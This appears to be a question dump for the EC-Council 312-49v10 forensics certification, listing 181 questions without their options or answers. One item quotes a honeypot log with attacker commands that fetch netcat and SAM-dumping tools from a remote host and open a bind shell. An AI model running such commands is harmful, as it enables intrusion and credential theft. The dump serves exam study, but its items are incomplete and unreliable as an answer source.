EC-Council 312-49v10 Questions and Answers

1. What will the following command accomplish in Linux?

fdisk /dev/hda

2. Adam, a forensic analyst, is preparing VMs for analyzing a malware .

Which of the following is NOT a best practice?

3. Tyler is setting up a wireless network for his business that he runs out of his home. He has followed all the directions from the ISP as well as the wireless router manual. He does not have any encryption set and the SSID is being broadcast. On his laptop, he can pick up the wireless signal for short periods of time, but then the connection drops and the signal goes away.

Eventually the wireless signal shows back up, but drops intermittently .

What could be Tyler issue with his home wireless network?

4. In a computer that has Dropbox client installed, which of the following files related to the Dropbox client store information about local Dropbox installation and the Dropbox user account, along with email IDs linked with the account?

5. James is dealing with a case regarding a cybercrime that has taken place in Arizona, USA. James needs to lawfully seize the evidence from an electronic device without affecting the user's anonymity .

Which of the following law should he comply with, before retrieving the evidence?

6. As a security analyst, you setup a false survey website that will require users to create a username and a strong password. You send the link to all the employees of the company .

What information will you be able to gather?

7. Centralized binary logging is a process in which many websites write binary and unformatted log data to a single log file .

What extension should the investigator look to find its log file?

8. Madison is on trial for allegedly breaking into her university internal network. The police raided her dorm room and seized all of her computer equipment. Madison lawyer is trying to convince the judge that the seizure was unfounded and baseless.

Under which US Amendment is Madison lawyer trying to prove the police violated?

9. Which tool allows dumping the contents of process memory without stopping the process?

10. Simon is a former employee of Trinitron XML Inc. He feels he was wrongly terminated and wants to hack into his former company's network. Since Simon remembers some of the server names, he attempts to run the axfr and ixfr commands using DIG .

What is Simon trying to accomplish here?

11. In Windows, prefetching is done to improve system performance. There are two types of prefetching: boot prefetching and application prefetching.

During boot prefetching, what does the Cache Manager do?

12. Melanie was newly assigned to an investigation and asked to make a copy of all the evidence from the compromised system. Melanie did a DOS copy of all the files on the system .

What would be the primary reason for you to recommend a disk imaging tool?

13. The process of restarting a computer that is already turned on through the operating system is called?

14. You are working as an independent computer forensics investigator and received a call from a systems administrator for a local school system requesting your assistance. One of the students at the local high school is suspected of downloading inappropriate images from the Internet to a PC in the Computer Lab. When you arrive at the school, the systems administrator hands you a hard drive and tells you that he made a “simple backup copy” of the hard drive in the PC and put it on this drive and requests that you examine the drive for evidence of the suspected images. You inform him that a “simple backup copy” will not provide deleted files or recover file fragments .

What type of copy do you need to make to ensure that the evidence found is complete and admissible in future proceeding?

15. Why would a company issue a dongle with the software they sell?

16. When using Windows acquisitions tools to acquire digital evidence, it is important to use a well-tested hardware write-blocking device to:

17. A suspect is accused of violating the acceptable use of computing resources, as he has visited adult websites and downloaded images. The investigator wants to demonstrate that the suspect did indeed visit these sites. However, the suspect has cleared the search history and emptied the cookie cache. Moreover, he has removed any images he might have downloaded .

What can the investigator do to prove the violation?

18. What layer of the OSI model do TCP and UDP utilize?

19. Which tool does the investigator use to extract artifacts left by Google Drive on the system?

20. You are the network administrator for a small bank in Dallas, Texas. To ensure network security, you enact a security policy that requires all users to have 14 character passwords. After giving your users 2 weeks notice, you change the Group Policy to force 14 character passwords. A week later you dump the SAM database from the standalone server and run a password-cracking tool against it. Over 99% of the passwords are broken within an hour .

Why were these passwords cracked so Quickly?

21. The police believe that Melvin Matthew has been obtaining unauthorized access to computers belonging to numerous computer software and computer operating systems manufacturers, cellular telephone manufacturers, Internet Service Providers and Educational Institutions. They also suspect that he has been stealing, copying and misappropriating proprietary computer software belonging to the several victim companies .

What is preventing the police from breaking down the suspects door and searching his home and seizing all of his computer equipment if they have not yet obtained a warrant?

22. NTFS sets a flag for the file once you encrypt it and creates an EFS attribute where it stores Data Decryption Field (DDF) and Data Recovery Field (DDR) .

Which of the following is not a part of DDF?

23. What feature of Decryption Collection allows an investigator to crack a password as quickly as possible?

24. Data is striped at a byte level across multiple drives, and parity information is distributed among all member drives.





What RAID level is represented here?

25. With the standard Linux second extended file system (Ext2fs), a file is deleted when the inode internal link count reaches ________.

26. Using Linux to carry out a forensics investigation, what would the following command accomplish?

dd if=/usr/home/partition.image of=/dev/sdb2 bs=4096 conv=notrunc,noerror

27. A Linux system is undergoing investigation. In which directory should the investigators look for its current state data if the system is in powered on state?

28. Which of the following techniques delete the files permanently?

29. Linux operating system has two types of typical bootloaders namely LILO (Linux Loader) and GRUB (Grand Unified Bootloader).

In which stage of the booting process do the bootloaders become active?

30. Which forensic investigating concept trails the whole incident from how the attack began to how the victim was affected?

31. Profiling is a forensics technique for analyzing evidence with the goal of identifying the perpetrator from their various activity.

After a computer has been compromised by a hacker, which of the following would be most important in forming a profile of the incident?

32. CAN-SPAM act requires that you:

33. What file is processed at the end of a Windows XP boot to initialize the logon dialog box?

34. Which of the following is a device monitoring tool?

35. Harold is a security analyst who has just run the rdisk /s command to grab the backup SAM files on a computer.

Where should Harold navigate on the computer to find the file?

36. A forensics investigator is searching the hard drive of a computer for files that were recently moved to the Recycle Bin. He searches for files in C:RECYCLED using a command line tool but does not find anything .

What is the reason for this?

37. Adam, a forensic investigator, is investigating an attack on Microsoft Exchange Server of a large organization. As the first step of the investigation, he examined the PRIV.EDB file and found the source from where the mail originated and the name of the file that disappeared upon execution. Now, he wants to examine the MIME stream content .

Which of the following files is he going to examine?

38. Which layer of iOS architecture should a forensics investigator evaluate to analyze services such as Threading, File Access, Preferences, Networking and high-level features?

39. During an investigation, Noel found the following SIM card from the suspect's mobile .





What does the code 89 44 represent?

40. Which command can provide the investigators with details of all the loaded modules on a Linux-based system?

41. An investigator is searching through the firewall logs of a company and notices ICMP packets that are larger than 65,536 bytes .

What type of activity is the investigator seeing?

42. You have used a newly released forensic investigation tool, which doesn't meet the Daubert Test, during a case. The case has ended-up in court .

What argument could the defense make to weaken your case?

43. In which of these attacks will a steganalyst use a random message to generate a stego-object by using some steganography tool, to find the steganography algorithm used to hide the information?

44. Graphics Interchange Format (GIF) is a ____ RGB bitmap image format for images with up to 256 distinct colors per frame.

45. What hashing method is used to password protect Blackberry devices?

46. The following excerpt is taken from a honeypot log. The log captures activities across three days.

There are several intrusion attempts; however, a few are successful.

(Note: The objective of this question is to test whether the student can read basic information from log entries and interpret the nature of attack.)

Apr 24 14:46:46 [4663]: spp_portscan: portscan detected from 194.222.156.169

Apr 24 14:46:46 [4663]: IDS27/FIN Scan: 194.222.156.169:56693 -> 172.16.1.107:482

Apr 24 18:01:05 [4663]: IDS/DNS-version-query: 212.244.97.121:3485 -> 172.16.1.107:53

Apr 24 19:04:01 [4663]: IDS213/ftp-passwd-retrieval: 194.222.156.169:1425 -> 172.16.1.107:21

Apr 25 08:02:41 [5875]: spp_portscan: PORTSCAN DETECTED from 24.9.255.53

Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4499 -> 172.16.1.107:53

Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4630 -> 172.16.1.101:53

Apr 25 02:38:17 [5875]: IDS/RPC-rpcinfo-query: 212.251.1.94:642 -> 172.16.1.107:111

Apr 25 19:37:32 [5875]: IDS230/web-cgi-space-wildcard: 198.173.35.164:4221 -> 172.16.1.107:80

Apr 26 05:45:12 [6283]: IDS212/dns-zone-transfer: 38.31.107.87:2291 -> 172.16.1.101:53

Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53

Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user simple by (uid=0)

Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user simon by simple(uid=506)

Apr 26 06:45:34 [6283]: IDS175/socks-probe: 24.112.167.35:20 -> 172.16.1.107:1080

Apr 26 06:52:10 [6283]: IDS127/telnet-login-incorrect: 172.16.1.107:23 -> 213.28.22.189:4558

From the options given below choose the one which best interprets the following entry:

Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53

47. Which of these rootkit detection techniques function by comparing a snapshot of the file system, boot records, or memory with a known and trusted baseline?

48. What is the default IIS log location?

49. When monitoring for both intrusion and security events between multiple computers, it is essential that the computers' clocks are synchronized. Synchronized time allows an administrator to reconstruct what took place during an attack against multiple computers. Without synchronized time, it is very difficult to determine exactly when specific events took place, and how events interlace .

What is the name of the service used to synchronize time among multiple computers?

50. Michael works for Kimball Construction Company as senior security analyst. As part of yearly security audit, Michael scans his network for vulnerabilities. Using Nmap, Michael conducts XMAS scan and most of the ports scanned do not give a response.

In what state are these ports?

51. Jacob is a computer forensics investigator with over 10 years of experience in investigations and has written over 50 articles on computer forensics. He has been called upon as a qualified witness to testify the accuracy and integrity of the technical log files gathered in an investigation into computer fraud .

What is the term used for Jacob’s testimony in this case?

52. Which of the following tool creates a bit-by-bit image of an evidence media?

53. What are the security risks of running a "repair" installation for Windows XP?

54. You are asked to build a forensic lab and your manager has specifically informed you to use copper for lining the walls, ceilings, and floor .

What is the main purpose of lining the walls, ceilings, and floor with copper?

55. In Linux, what is the smallest possible shellcode?

56. Which of the following statements is true regarding SMTP Server?

57. What is the following command trying to accomplish?

58. What happens when a file is deleted by a Microsoft operating system using the FAT file system?

59. What is the framework used for application development for iOS-based mobile devices?

60. Amber, a black hat hacker, has embedded a malware into a small enticing advertisement and posted it on a popular ad-network that displays across various websites .

What is she doing?

61. Microsoft Security IDs are available in Windows Registry Editor.

The path to locate IDs in Windows 7 is:

62. Where should the investigator look for the Edge browser’s browsing records, including history, cache, and cookies?

63. POP3 is an Internet protocol, which is used to retrieve emails from a mail server.

Through which port does an email client connect with a POP3 server?

64. Which of the following is a tool to reset Windows admin password?

65. An expert witness is a __________________ who is normally appointed by a party to

assist the formulation and preparation of a party’s claim or defense.

66. You are called in to assist the police in an investigation involving a suspected drug dealer. The suspects house was searched by the police after a warrant was obtained and they located a floppy disk in the suspects bedroom. The disk contains several files, but they appear to be password protected .

What are two common methods used by password cracking software that you can use to obtain the password?

67. What advantage does the tool Evidor have over the built-in Windows search?

68. Why should you note all cable connections for a computer you want to seize as evidence?

69. What does the acronym POST mean as it relates to a PC?

70. Microsoft Outlook maintains email messages in a proprietary format in what type of file?

71. What is a good security method to prevent unauthorized users from "tailgating"?

72. You are conducting an investigation of fraudulent claims in an insurance company that involves complex text searches through large numbers of documents .

Which of the following tools would allow you to quickly and efficiently search for a string within a file on the bitmap image of the target computer?

73. Which of the following tool can the investigator use to analyze the network to detect Trojan activities?

74. Which of the following is a federal law enacted in the US to control the ways that financial institutions deal with the private information of individuals?

75. What does the command “C:>wevtutil gl <log name>” display?

76. When reviewing web logs, you see an entry for resource not found in the HTTP status code filed.

What is the actual error code that you would see in the log for resource not found?

77. What will the following Linux command accomplish?

dd if=/dev/mem of=/home/sam/mem.bin bs=1024

78. James, a hacker, identifies a vulnerability in a website. To exploit the vulnerability, he visits

the login page and notes down the session ID that is created. He appends this session ID to the login URL and shares the link with a victim. Once the victim logs into the website using the shared URL, James reloads the webpage (containing the URL with the session ID appended) and now, he can browse the active session of the victim .

Which attack did James successfully execute?

79. Windows identifies which application to open a file with by examining which of the following?

80. Jason is the security administrator of ACMA metal Corporation. One day he notices the company's Oracle database server has been compromised and the customer information along with financial data has been stolen. The financial loss will be in millions of dollars if the database gets into the hands of the competitors. Jason wants to report this crime to the law enforcement agencies immediately.

Which organization coordinates computer crimes investigations throughout the United States?

81. Where is the startup configuration located on a router?

82. Which of the following tools will help the investigator to analyze web server logs?

83. NTFS has reduced slack space than FAT, thus having lesser potential to hide data in the slack space. This is because:

84. The surface of a hard disk consists of several concentric rings known as tracks; each of these tracks has smaller partitions called disk blocks .

What is the size of each block?

85. Before performing a logical or physical search of a drive in Encase, what must be added to the program?

86. Which password cracking technique uses details such as length of password, character sets used to construct the password, etc.?

87. Randy has extracted data from an old version of a Windows-based system and discovered info file Dc5.txt in the system recycle bin .

What does the file name denote?

88. Gary is checking for the devices connected to USB ports of a suspect system during an investigation. Select the appropriate tool that will help him document all the connected devices.

89. Jason has set up a honeypot environment by creating a DMZ that has no physical or logical access to his production network. In this honeypot, he has placed a server running Windows Active Directory. He has also placed a Web server in the DMZ that services a number of web pages that offer visitors a chance to download sensitive information by clicking on a button. A week later, Jason finds in his network logs how an intruder accessed the honeypot and downloaded sensitive information. Jason uses the logs to try and prosecute the intruder for stealing sensitive corporate information .

Why will this not be viable?

90. Which of the following information is displayed when Netstat is used with -ano switch?

91. Harold is finishing up a report on a case of network intrusion, corporate spying, and embezzlement that he has been working on for over six months. He is trying to find the right term to use in his report to describe network-enabled spying .

What term should Harold use?

92. Paul is a computer forensics investigator working for Tyler & Company Consultants. Paul has been called upon to help investigate a computer hacking ring broken up by the local police. Paul begins to inventory the PCs found in the hackers hideout. Paul then comes across a PDA left by them that is attached to a number of different peripheral devices .

What is the first step that Paul must take with the PDA to ensure the integrity of the investigation?

93. What header field in the TCP/IP protocol stack involves the hacker exploit known as the Ping of Death?

94. What is an investigator looking for in the rp.log file stored in a system running on Windows 10 operating system?

95. Which of the following setups should a tester choose to analyze malware behavior?

96. What do you call the process of studying the changes that have taken place across a system or a machine after a series of actions or incidents?

97. Which list contains the most recent actions performed by a Windows User?

98. You have completed a forensic investigation case. You would like to destroy the data contained in various disks at the forensics lab due to sensitivity of the case .

How would you permanently erase the data on the hard disk?

99. While searching through a computer under investigation, you discover numerous files that appear to have had the first letter of the file name replaced by the hex code byte 5h .

What does this indicate on the computer?

100. Which of the following files stores information about local Dropbox installation and account, email IDs linked with the account, current version/build for the local application, the host_id, and local path information?

101. The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.

He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly.

The attacker makes a RDS query which results in the commands run as shown below.

"cmd1.exe /c open 213.116.251.162 >ftpcom"

"cmd1.exe /c echo johna2k >>ftpcom"

"cmd1.exe /c echo haxedj00 >>ftpcom"

"cmd1.exe /c echo get nc.exe >>ftpcom"

"cmd1.exe /c echo get pdump.exe >>ftpcom"

"cmd1.exe /c echo get samdump.dll >>ftpcom"

"cmd1.exe /c echo quit >>ftpcom"

"cmd1.exe /c ftp -s:ftpcom"

"cmd1.exe /c nc -l -p 6969 -e cmd1.exe"

What can you infer from the exploit given?

102. Jessica works as systems administrator for a large electronics firm. She wants to scan her network quickly to detect live hosts by using ICMP ECHO Requests .

What type of scan is Jessica going to perform?

103. Travis, a computer forensics investigator, is finishing up a case he has been working on for over a month involving copyright infringement and embezzlement. His last task is to prepare an investigative report for the president of the company he has been working for. Travis must submit a hard copy and an electronic copy to this president.

In what electronic format should Travis send this report?

104. This organization maintains a database of hash signatures for known software.

105. Smith, an employee of a reputed forensic investigation firm, has been hired by a private organization to investigate a laptop that is suspected to be involved in the hacking of the organization’s DC server. Smith wants to find all the values typed into the Run box in the Start menu .

Which of the following registry keys will Smith check to find the above information?

106. Why should you never power on a computer that you need to acquire digital evidence from?

107. Pagefile.sys is a virtual memory file used to expand the physical memory of a computer.

Select the registry path for the page file:

108. One way to identify the presence of hidden partitions on a suspect's hard drive is to:

109. An International Mobile Equipment Identifier (IMEI) is a 15-digit number that indicates the manufacturer, model type, and country of approval for GSM devices.

The first eight digits of an IMEI number that provide information about the model and origin of the mobile device is also known as:

110. How will you categorize a cybercrime that took place within a CSP’s cloud environment?

111. Jim performed a vulnerability analysis on his network and found no potential problems. He runs another utility that executes exploits against his system to verify the results of the vulnerability test.

The second utility executes five known exploits against his network in which the vulnerability analysis said were not exploitable .

What kind of results did Jim receive from his vulnerability analysis?

112. In the following email header, where did the email first originate from?

113. Which of the following is NOT a part of pre-investigation phase?

114. When conducting computer forensic analysis, you must guard against ______________ So that you remain focused on the primary job and insure that the level of work does not increase beyond what was originally expected.

115. When marking evidence that has been collected with the aa/ddmmyy/nnnn/zz format, what does the nnn denote?

116. As a part of the investigation, Caroline, a forensic expert, was assigned the task to examine the transaction logs pertaining to a database named Transfers. She used SQL Server Management Studio to collect the active transaction log files of the database. Caroline wants to extract detailed information on the logs, including AllocUnitId, page id, slot id, etc .

Which of the following commands does she need to execute in order to extract the desired information?

117. You have been asked to investigate the possibility of computer fraud in the finance department of a company. It is suspected that a staff member has been committing finance fraud by printing cheques that have not been authorized. You have exhaustively searched all data files on a bitmap image of the target computer, but have found no evidence. You suspect the files may not have been saved .

What should you examine next in this case?

118. Which program uses different techniques to conceal a malware's code, thereby making it difficult for security mechanisms to detect or remove it?

119. You are working as a Computer forensics investigator for a corporation on a computer abuse case. You discover evidence that shows the subject of your investigation is also embezzling money from the company. The company CEO and the corporate legal counsel advise you to contact law enforcement and provide them with the evidence that you have found. The law enforcement officer that responds requests that you put a network sniffer on your network and monitor all traffic to the subject’s computer.

You inform the officer that you will not be able to comply with that request because doing so would:

120. What type of analysis helps to identify the time and sequence of events in an investigation?

121. Which of the following examinations refers to the process of providing the opposing side in a trial the opportunity to question a witness?

122. Why is it still possible to recover files that have been emptied from the Recycle Bin on a Windows computer?

123. Which of these Windows utility help you to repair logical file system errors?

124. What is the CIDR from the following screenshot?

125. Which of the following Linux command searches through the current processes and lists the process IDs those match the selection criteria to stdout?

126. What does ICMP Type 3/Code 13 mean?

127. Your company uses Cisco routers exclusively throughout the network. After securing the routers to the best of your knowledge, an outside security firm is brought in to assess the network security.

Although they found very few issues, they were able to enumerate the model, OS version, and capabilities for all your Cisco routers with very little effort .

Which feature will you disable to eliminate the ability to enumerate this information on your Cisco routers?

128. What does the 56.58.152.114(445) denote in a Cisco router log?

Jun 19 23:25:46.125 EST: %SEC-4-IPACCESSLOGP: list internet-inbound denied udp 67.124.115.35(8084) -> 56.58.152.114(445), 1 packet

129. What is the name of the first reserved sector in File allocation table?

130. Gill is a computer forensics investigator who has been called upon to examine a seized computer. This computer, according to the police, was used by a hacker who gained access to numerous banking institutions to steal customer information. After preliminary investigations, Gill finds in the computer’s log files that the hacker was able to gain access to these banks through the use of Trojan horses. The hacker then used these Trojan horses to obtain remote access to the companies’ domain controllers. From this point, Gill found that the hacker pulled off the SAM files from the domain controllers to then attempt and crack network passwords .

What is the most likely password cracking technique used by this hacker to break the user passwords from the SAM files?

131. Which principle states that “anyone or anything, entering a crime scene takes something of the scene with them, and leaves something of themselves behind when they leave”?

132. The Apache server saves diagnostic information and error messages that it encounters while processing requests. The default path of this file is usr/local/apache/logs/error.log in Linux. Identify the Apache error log from the following logs.

133. Why would you need to find out the gateway of a device when investigating a wireless attack?

134. Which of the following application password cracking tool can discover all password-protected items on a computer and decrypts them?

135. What is the smallest physical storage unit on a hard drive?

136. Self-Monitoring, Analysis, and Reporting Technology (SMART) is built into the hard drives to monitor and report system activity .

Which of the following is included in the report generated by SMART?

137. What will the following command accomplish?

138. A(n) _____________________ is one that's performed by a computer program rather than the attacker manually performing the steps in the attack sequence.

139. A section of your forensics lab houses several electrical and electronic equipment .

Which type of fire extinguisher you must install in this area to contain any fire incident?

140. Which program is the bootloader when Windows XP starts up?

141. Which of the following commands shows you the names of all open shared files on a server and the number of file locks on each file?

142. Which of the following processes is part of the dynamic malware analysis?

143. You work as a penetration tester for Hammond Security Consultants. You are currently working on a contract for the state government of California. Your next step is to initiate a DoS attack on their network .

Why would you want to initiate a DoS attack on a system you are testing?

144. When should an MD5 hash check be performed when processing evidence?

145. Chris has been called upon to investigate a hacking incident reported by one of his clients. The company suspects the involvement of an insider accomplice in the attack. Upon reaching the incident scene, Chris secures the physical area, records the scene using visual media. He shuts the system down by pulling the power plug so that he does not disturb the system in any way. He labels all cables and connectors prior to disconnecting any .

What do you think would be the next sequence of events?

146. Julie is a college student majoring in Information Systems and Computer Science. She is currently writing an essay for her computer crimes class. Julie paper focuses on white-collar crimes in America and how forensics investigators investigate the cases. Julie would like to focus the subject. Julie would like to focus the subject of the essay on the most common type of crime found in corporate America .

What crime should Julie focus on?

147. Which rule requires an original recording to be provided to prove the content of a recording?

148. You are called by an author who is writing a book and he wants to know how long the copyright for his book will last after he has the book published?

149. During the course of a corporate investigation, you find that an Employee is committing a crime.

Can the Employer file a criminal complaint with Police?

150. Which of the following protocols allows non-ASCII files, such as video, graphics, and audio, to be sent through the email messages?

151. What is the first step taken in an investigation for laboratory forensic staff members?

152. At what layer does a cross site scripting attack occur on?

153. Under confession, an accused criminal admitted to encrypting child pornography pictures and then hiding them within other pictures .

What technique did the accused criminal employ?

154. What is cold boot (hard boot)?

155. John is working on his company policies and guidelines. The section he is currently working on covers company documents; how they should be handled, stored, and eventually destroyed. John is concerned about the process whereby outdated documents are destroyed .

What type of shredder should John write in the guidelines to be used when destroying documents?

156. Lance wants to place a honeypot on his network .

Which of the following would be your recommendations?

157. How many sectors will a 125 KB file use in a FAT32 file system?

158. Shane, a forensic specialist, is investigating an ongoing attack on a MySQL database server hosted on a Windows machine with SID “WIN-ABCDE12345F.”

Which of the following log file will help Shane in tracking all the client connections and activities performed on the database server?

159. Billy, a computer forensics expert, has recovered a large number of DBX files during the forensic investigation of a laptop .

Which of the following email clients can he use to analyze the DBX files?

160. If a suspect computer is located in an area that may have toxic chemicals, you must:

161. What malware analysis operation can the investigator perform using the jv16 tool?

162. What is kept in the following directory? HKLMSECURITYPolicySecrets

163. Which of the following is a MAC-based File Recovery Tool?

164. In which registry does the system store the Microsoft security IDs?

165. In conducting a computer abuse investigation you become aware that the suspect of the investigation is using ABC Company as his Internet Service Provider (ISP). You contact ISP and request that they provide you assistance with your investigation .

What assistance can the ISP provide?

166. You have compromised a lower-level administrator account on an Active Directory network of a small company in Dallas, Texas. You discover Domain Controllers through enumeration. You connect to one of the Domain Controllers on port 389 using ldp.exe .

What are you trying to accomplish here?

167. You are contracted to work as a computer forensics investigator for a regional bank that has four 30 TB storage area networks that store customer data.

What method would be most efficient for you to acquire digital evidence from this network?

168. A law enforcement officer may only search for and seize criminal evidence with _______________________, which are facts or circumstances that would lead a reasonable person to believe a crime has been committed or is about to be committed, evidence of the specific crime exists and the evidence of the specific crime exists at the place to be searched.

169. An attacker has compromised a cloud environment of a company and used the employee information to perform an identity theft attack .

Which type of attack is this?

170. Which of these ISO standards define the file system for optical storage media, such as CD-ROM and DVD-ROM?

171. What does the bytes 0x0B-0x53 represent in the boot sector of NTFS volume on Windows 2000?

172. Which of the following is NOT an anti-forensics technique?

173. Which of the following techniques can be used to beat steganography?

174. If you are concerned about a high level of compression but not concerned about any possible data loss, what type of compression would you use?

175. You are working as Computer Forensics investigator and are called by the owner of an accounting firm to investigate possible computer abuse by one of the firm’s employees. You meet with the owner of the firm and discover that the company has never published a policy stating that they reserve the right to inspect their computing assets at will .

What do you do?

176. You should make at least how many bit-stream copies of a suspect drive?

177. What is the location of the binary files required for the functioning of the OS in a Linux system?

178. The MD5 program is used to:

179. Which of the following reports are delivered under oath to a board of directors/managers/panel of the jury?

180. As a Certified Ethical Hacker, you were contracted by a private firm to conduct an external security assessment through penetration testing.

What document describes the specifics of the testing, the associated violations, and essentially protects both the organization’s interest and your liabilities as a tester?

181. To reach a bank web site, the traffic from workstations must pass through a firewall. You have been asked to review the firewall configuration to ensure that workstations in network 10.10.10.0/24 can only reach the bank web site 10.20.20.1 using https .

Which of the following firewall rules meets this requirement?